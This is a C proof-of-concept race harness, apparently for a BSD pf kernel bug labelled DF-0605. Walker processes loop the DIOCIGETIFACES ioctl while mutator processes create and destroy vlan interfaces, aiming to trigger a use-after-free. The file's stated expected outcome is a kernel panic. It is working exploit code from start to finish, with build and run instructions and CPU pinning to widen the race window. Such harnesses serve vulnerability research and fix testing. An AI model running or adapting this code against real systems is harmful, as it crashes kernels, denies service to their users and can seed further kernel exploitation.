/*
 * DF-0605 race harness — aggressive multiprocess version.
 *
 * Spawn N walker processes (each tight-looping DIOCIGETIFACES) and
 * M mutator processes (each tight-looping vlan create/destroy).  The
 * combined load maximizes the chance of one walker's nextp landing
 * on a kif being freed by a concurrent mutator's if_detach event.
 *
 * Build:  cc -O2 -o race race.c
 * Run:    ./race [runtime_sec [N_walker [M_mutator]]]
 *
 * Expected: kernel panic (fatal trap 12 page fault) in pfi_skip_if /
 *           pfi_get_ifaces on the vulnerable kernel.
 */

#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <net/if.h>
#include <err.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <signal.h>
#include <errno.h>

struct pfi_kif {
	char				pfik_name[16];
	void				*tree_l, *tree_r, *tree_p;
	unsigned long long		pfik_packets[2][2][2];
	unsigned long long		pfik_bytes[2][2][2];
	unsigned int			pfik_tzero;
	int				pfik_flags;
	void				*pfik_ifp;
	void				*pfik_group;
	int				pfik_states;
	int				pfik_rules;
	void				*dq_first, *dq_last;
};

struct pfioc_iface {
	char	pfiio_name[16];
	void	*pfiio_buffer;
	int	pfiio_esize;
	int	pfiio_size;
	int	pfiio_nzero;
	int	pfiio_flags;
};

#define DIOCIGETIFACES	_IOWR('D', 87, struct pfioc_iface)
#define LWP_SETAFFINITY	544
#define NBULK		256

typedef struct { unsigned long long ary[4]; } cpumask_t;

static volatile sig_atomic_t stop = 0;
static int g_esize = (int)sizeof(struct pfi_kif);

static void handler(int s __unused) { stop = 1; }

static void
pin_cpu(int cpu)
{
	cpumask_t mask;
	memset(&mask, 0, sizeof(mask));
	mask.ary[0] = (unsigned long long)1 << cpu;
	syscall(LWP_SETAFFINITY, getpid(), -1, &mask);
}

static void
probe_esize(int pffd)
{
	struct pfioc_iface io;
	static char tmp[NBULK * 512];
	int sizes[] = {(int)sizeof(struct pfi_kif), 224, 232, 240, 248,
	    256, 160, 168, 264, 272, 280, 200, 192, 184, 176};
	unsigned int i;
	for (i = 0; i < sizeof(sizes)/sizeof(sizes[0]); i++) {
		memset(&io, 0, sizeof(io));
		io.pfiio_buffer = tmp;
		io.pfiio_esize  = sizes[i];
		io.pfiio_size   = NBULK;
		if (ioctl(pffd, DIOCIGETIFACES, &io) == 0) {
			g_esize = sizes[i];
			return;
		}
	}
	errx(1, "could not probe pfi_kif size");
}

static void
walker(int pffd, int cpu)
{
	struct pfioc_iface io;
	static char buf[NBULK * 512];
	pin_cpu(cpu);
	for (;;) {
		memset(&io, 0, sizeof(io));
		io.pfiio_buffer = buf;
		io.pfiio_esize  = g_esize;
		io.pfiio_size   = NBULK;
		strlcpy(io.pfiio_name, "vlan", sizeof(io.pfiio_name));
		ioctl(pffd, DIOCIGETIFACES, &io);
		if (stop) _exit(0);
	}
}

static void
mutator(int base, int cpu)
{
	int s, i;
	struct ifreq ifr;
	char nm[32];
	pin_cpu(cpu);
	s = socket(AF_INET, SOCK_DGRAM, 0);
	if (s < 0) err(1, "socket");
	for (;;) {
		for (i = 0; i < 32; i++) {
			memset(&ifr, 0, sizeof(ifr));
			snprintf(nm, sizeof(nm), "vlan%d", base + i);
			strlcpy(ifr.ifr_name, nm, sizeof(ifr.ifr_name));
			ioctl(s, SIOCIFCREATE, &ifr);
		}
		for (i = 0; i < 32; i++) {
			memset(&ifr, 0, sizeof(ifr));
			snprintf(nm, sizeof(nm), "vlan%d", base + i);
			strlcpy(ifr.ifr_name, nm, sizeof(ifr.ifr_name));
			ioctl(s, SIOCIFDESTROY, &ifr);
		}
		if (stop) _exit(0);
	}
}

int
main(int argc, char **argv)
{
	int pffd, status, runtime = 60, nw = 3, nm = 2;
	pid_t children[16];
	int nch = 0, i;
	int cpu = 0;

	if (argc > 1) runtime = atoi(argv[1]);
	if (argc > 2) nw = atoi(argv[2]);
	if (argc > 3) nm = atoi(argv[3]);
	if (nw > 8) nw = 8;
	if (nm > 8) nm = 8;

	signal(SIGALRM, handler);
	signal(SIGINT,  handler);
	signal(SIGTERM, handler);

	pffd = open("/dev/pf", O_RDWR);
	if (pffd < 0)
		err(1, "open /dev/pf");

	probe_esize(pffd);

	fprintf(stderr, "race: launching %d walkers + %d mutators for %d s...\n",
	    nw, nm, runtime);

	for (i = 0; i < nw; i++) {
		pid_t p = fork();
		if (p < 0) err(1, "fork walker");
		if (p == 0) {
			alarm(runtime + 5);
			walker(pffd, cpu++ % 6);
			_exit(0);
		}
		children[nch++] = p;
	}
	for (i = 0; i < nm; i++) {
		pid_t p = fork();
		if (p < 0) err(1, "fork mutator");
		if (p == 0) {
			alarm(runtime + 5);
			mutator(i * 32, cpu++ % 6);
			_exit(0);
		}
		children[nch++] = p;
	}

	alarm(runtime);
	while (!stop) sleep(1);
	fprintf(stderr, "race: stop; killing %d children\n", nch);
	for (i = 0; i < nch; i++) kill(children[i], SIGTERM);
	sleep(1);
	for (i = 0; i < nch; i++) kill(children[i], SIGKILL);
	for (i = 0; i < nch; i++) waitpid(children[i], &status, 0);
	fprintf(stderr, "race: finished without panic\n");
	return 0;
}
